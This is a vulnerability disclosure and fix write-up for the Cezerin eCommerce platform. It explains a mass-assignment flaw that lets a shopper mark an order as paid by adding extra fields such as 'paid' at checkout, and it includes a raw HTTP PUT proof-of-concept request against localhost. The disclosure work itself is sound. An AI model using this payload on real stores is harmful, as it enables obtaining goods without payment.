Cezerin is a React and Node.js based eCommerce platform. Affected versions of this package are vulnerable to improper access control.
โ๏ธ Description
The vulnerability exists in the checkout page which allows an attacker to send extra parameter values e.g paid
, which result in manipulating the order status to paid (without paying anything)
๐ป Technical Description
Following the provided PoC by cloudz leads to src/api/server/ajaxRouter.js .ย The route is responsible for checking the order id in the cookie. If there is an order id then it calls api.orders.checkout in cezerin-client module.
The cezerin-client sends the request to the order API route.
File: node_modules/cezerin-client/lib/api/orders/orders.js
and if we look into the order api file we can see that it call checkoutOrder function
File: src/api/server/routes/orders.js
The checkout function calls the updateOrder function. The update function sends the Object (data)to getValidDocumentForUpdate, this function is for generating orders and it does have certain attributes that if provided can result in order manipulation e.g paid
shipping_discount
shipping_price
tax_rate
etc..
File: src/api/server/routes/orders/orders.js
The solution I come up is to only send the data to the function that is required from the user any extra value if being sent will be overridden with undefined value and there is already a check for an undefined value in the getValidDocumentForUpdate function which does check it through the server-side
๐ Proof of Concept (PoC)
1. Add any item to the chart and checkout.
2. Add additional attributes (e.g., paid, tax_rate, shipping_price, shipping_discount, etc.) to the user input field in the request. In my case I added paid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
PUT /ajax/cart HTTP/1.1 Host: localhost:3001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 752 Origin: http://localhost:3000 Referer: http://localhost:3000/checkout Connection: close Cookie: referrer_url=s%3Ahttp%3A%2F%2Flocalhost%3A3002%2Fproduct%2F5ebf904f019a46570832cb1f.YDyXRnpoWg0Cn6i%2BL2kx2UETY0PqY8%2BXWJ5LPCyoJ%2Fo; landing_url=s%3Ahttp%3A%2F%2Flocalhost%2F.tyZ3uwyR9gAuGEJzxP6kxtZ8cXlAsZTbPH6NKLaAhHk; order_id=s%3A5ebfc8fe30e7a22e0884afdf.bmuz92dPI6fLGaNVOxXckNXktUZDtsBNFR1z2pb4NXA {"shipping_address":{"address1":"Testbug street","address2":"Testbug street","city":"testbug","country":"US","state":"TESTBUG","phone":"","postal_code":"00001","full_name":"","company":"","tax_number":"","coordinates":{"latitude":"","longitude":""},"details":null},"billing_address":{"address1":"","address2":"","city":"","country":"","state":"","phone":"","postal_code":"","full_name":"","company":"","tax_number":"","coordinates":{"latitude":"","longitude":""},"details":null},"email":"[email protected]","mobile":"+11312312312","first_name":"Testbug","last_name":"Testbug","password":"http://localhost:3000/checkout","payment_method_id":"5ebf904f019a46570832cb29","shipping_method_id":"5ebf904f019a46570832cb28","comments":"", "paid": true} |
3. The status of the order is set as paid without payments.
๐ฅ Proof of Fix (PoF)
1. Add any item to the chart and checkout.
2. Add additional attributes (e.g., paid, tax_rate, shipping_price, shipping_discount, etc.) to the user input field in the request. In my case I added paid
3. The status of the order is not set as paid without payments.
๐ User Acceptance Testing (UAT)
– Add tax_rate
, shipping_price
, paid
, payment_token
etc.. in the request.
Original Pull Request 418sec#1